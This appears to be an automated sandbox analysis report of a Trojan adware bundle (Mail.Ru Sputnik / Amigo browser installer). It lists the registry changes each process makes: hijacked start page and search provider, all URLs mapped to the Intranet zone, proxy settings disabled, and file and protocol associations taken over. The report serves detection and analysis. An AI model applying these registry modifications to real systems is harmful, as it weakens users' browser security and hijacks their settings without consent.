[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\My Documents\CommonData]
"Winhlp313.exe" = "Winhlp313"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 96 19 89 D6 09 F9 E6 93 76 82 FA B1 EA 2D A6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process mailruhomesearch.exe:300 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"ShowSearchSuggestions" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Mail.Ru\IE_Bar\Recovery\ie]
"DefaultSearchUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"SuggestionsURL" = "http://suggests.go.mail.ru/ie8?q={SearchTerms}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Mail.Ru\IE_Bar\Recovery\ie]
"DefaultScope" = ""

[HKCU\Software\Mail.Ru\IE_Bar\Settings]
"Guid" = "{2863167C-DE4A-4FB6-9FB2-29EEA76B846C}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{FFEBBF0A-C22C-4172-89FF-45215A135AC7}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"FaviconURLFallback" = "http://go.mail.ru/favicon.ico"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Mail.Ru\IE_Bar]
"DefBrowser" = "ie"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Mail.Ru\IE_Bar\Recovery\ie]
"HomePage" = "about:blank"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 50 61 60 A6 2B AA 4A 01 D0 DE C8 ED 19 09 FA"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://mail.ru/cnt/10445?gp=profitraf7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"URL" = "http://go.mail.ru/search?q={SearchTerms}&fr=ntg&gp=profitraf7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"DisplayName" = "Поиск@Mail.Ru"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{FFEBBF0A-C22C-4172-89FF-45215A135AC7}]
"Deleted"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Secondary Start Pages"

The process dwwin.exe:1852 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 E1 18 21 61 57 C2 1A F1 0D B9 83 A4 4F 68 2D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process amigo.exe:1204 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\ftp\shell\open\ddeexec]
"(Default)" = ""

[HKCU\Software\Classes\.html]
"(Default)" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\ftp\DefaultIcon]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCU\Software\Classes\https\shell]
"(Default)" = "open"

[HKCU\Software\Classes\.shtml]
"(Default)" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\ftp\shell]
"(Default)" = "open"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Classes\http\shell]
"(Default)" = "open"

[HKCU\Software\Classes\http\DefaultIcon]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCU\Software\Classes\http]
"URL Protocol" = ""

[HKCU\Software\Classes\https]
"URL Protocol" = ""

[HKCU\Software\Classes\ftp\shell\open\command]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe -- %1"

[HKCU\Software\Classes\https\shell\open\ddeexec]
"(Default)" = ""

[HKCU\Software\Classes\.xhtml]
"(Default)" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\.xht]
"(Default)" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\.htm]
"(Default)" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 6D FD D3 17 7B EB C1 96 9F 0E 3E 53 4F B6 73"

[HKCU\Software\Amigo]
"usagestats" = "0"

[HKCU\Software\Classes\http\shell\open\ddeexec]
"(Default)" = ""

[HKCU\Software\Classes\ftp]
"URL Protocol" = ""

[HKCU\Software\Classes\https\DefaultIcon]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCU\Software\Clients\StartmenuInternet]
"(Default)" = "Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Classes\https\shell\open\command]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe -- %1"

[HKCU\Software\Classes\http\shell\open\command]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe -- %1"

The process AmigoDistrib.exe:1136 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0C 07 DE 46 AA 70 0B 25 0E B2 D8 4C D3 22 DD 05"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"RFR" = "newcustom1"

The process r45215.exe:1644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"AmigoDistrib.exe" = "Amigo"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\downloader_tmp_-538968596,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 28 38 2A 9C BF 28 44 EB A4 F0 29 7B 46 06 2F"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"mailruhomesearch.exe" = "MailRuSputnik"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Winhlp313.exe:1632 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC 3B 9B 5C 07 D0 B3 29 78 73 E3 D1 22 D4 8F F5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"r45215.exe" = "r45215"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process setup.exe:1352 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Amigo]
"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\Installer\setup.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".webp" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\Startmenu]
"StartMenuInternet" = "Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Amigo]
"DisplayIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKCR\.shtml\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKCU\Software\Amigo\Commands\on-os-upgrade]
"CommandLine" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\Installer\setup.exe --on-os-upgrade --verbose-logging"

[HKCR\.webp\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Amigo]
"ap" = "-stage:refreshing_policy"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"tel" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Amigo\Commands\on-os-upgrade]
"AutoRunOnOSUpgrade" = "1"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"ua" = "CHANNEL_newcustom1"

[HKCU\Software\Classes\CLSID\{A2DF06F9-A21A-44A8-8A99-8B9C84F29161}]
"(Default)" = "CommandExecuteImpl Class"

[HKCU\Software\Amigo]
"pv" = "32.0.1705.153"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Amigo]
"Name" = "Amigo"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".xhtml" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCR\.html\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\.htm\OpenWithProgids]
"AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\amigo.exe]
"Path" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\DefaultIcon]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\FileAssociations]
".html" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Amigo]
"UninstallArguments" = " --uninstall"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"FirstInstall" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Amigo.QQL2B5ZRL54V5ERAM5WD2OE6LQ\Capabilities\URLAssociations]
"http" = "AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ"

[HKCU\Software\Mail.Ru\AmigoInstaller]
"InstallResult" = "install"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\AmigoHTML.QQL2B5ZRL54V5ERAM5WD2OE6LQ\shell\open\command]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe -- %1"

